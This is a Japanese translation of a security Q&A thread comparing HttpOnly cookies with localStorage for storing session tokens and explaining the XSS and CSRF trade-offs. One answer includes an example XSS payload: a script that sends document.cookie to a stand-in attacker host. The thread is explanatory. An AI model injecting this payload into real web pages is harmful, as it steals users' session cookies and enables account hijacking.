web-dev-qa-db-ja.com

なぜCookieはXSSに対してより安全であると考えられているのですか?

この記事では、cookieとlocalStorageのセッショントークンの保存について説明します。 https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

記事は述べています:

CookieをHttpOnly Cookieフラグと共に使用すると、JavaScriptを介してアクセスできなくなり、XSSの影響を受けなくなります。

ただし、挿入されたスクリプトが同じ元のリクエスト(API呼び出しなど)を行う場合、Cookieはそれに含まれます。したがって、JavaScriptがそれにアクセスできなくても問題ありません。

記事の最後には、

Stormpathでは、JWTをWebアプリケーションのCookieに保存することを推奨しています... HTML5 WebストレージはXSSに対して脆弱です...

CookieとlocalStorageはどちらもXSSに対して脆弱ではありませんか? Cookieを使用すると、攻撃者はCookieをフェッチして保存することはできませんが、Cookieを使用して認証できる場合は、これは必要ありません。

13
Leo Jiang

HttpOnly以外のCookieが存在し、攻撃者が次のようなXSSを使用してそれらを盗む可能性がある場合

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

これは、攻撃者がブラウザにCookieを設定して被害者としてログインできるため、セッショントークンがHttpOnlyフラグで保護されていない場合に最も壊滅的な攻撃になります。

HttpOnlyフラグが設定されている場合、はい、注入されたスクリプトを使用してAJAX要求を行うことはできますが、これは達成するのがより難しく、攻撃者がハイジャックされたセッションを完全にインタラクティブに制御することはできません。

XSSは常にCSRFよりも大きな脅威です。 HttpOnly Cookieを使用しても、攻撃者はログインフォームを表示して、一度送信されると資格情報を攻撃者に送信する可能性があります。また、CSRFトークンを必要とするフォームは、XSS攻撃によって簡単に取得できます。

8
SilverlightFox

攻撃者はHttpOnly Cookieを使用にすることができます。つまり、XSSが被害者のブラウザーにリクエストを送信させ、それらのリクエストにCookieが含まれる可能性がありますが、これらのCookieの値は攻撃者には見えません。攻撃者は、これらのCookieの価値に関して盲目的に操作しています。

対照的に、ローカルストレージはJavaScriptで(設計上)読み取り可能です。 Cookieと同じように、リクエストには自動的に含まれませんが、Cookieとは異なり、XSSエクスプロイトを使用してローカルストレージデータを攻撃者から隠すことはできません。

それぞれをいつ使用するかは、保存するデータと脅威モデルによって異なります。保存するデータが本質的に機密性がある場合-社会保障番号のようなもの-まったくクライアントに保存しないでください。絶対に保存する必要がある場合は、HttpOnlyとSecureを使用してください。クッキー。データがランダムに生成された認証トークンのようなもので、実際のユーザーデータが格納されていない場合は、Cookieに格納して、XSSの場合にデータが公開されないようにする必要がありますが、CSRFによる保護も非常に優れている必要があります( XSSを使用すると、攻撃者はCSRF保護を回避できるため、攻撃者がCookie値を盗むことができない場合でも、XSSを防止することは依然として重要です。大量のデータ、またはクライアントでのみ必要なデータ、またはサーバーがたまにしか必要としないデータの場合は、ローカルストレージに配置するのが理にかなっています。

4
CBHacking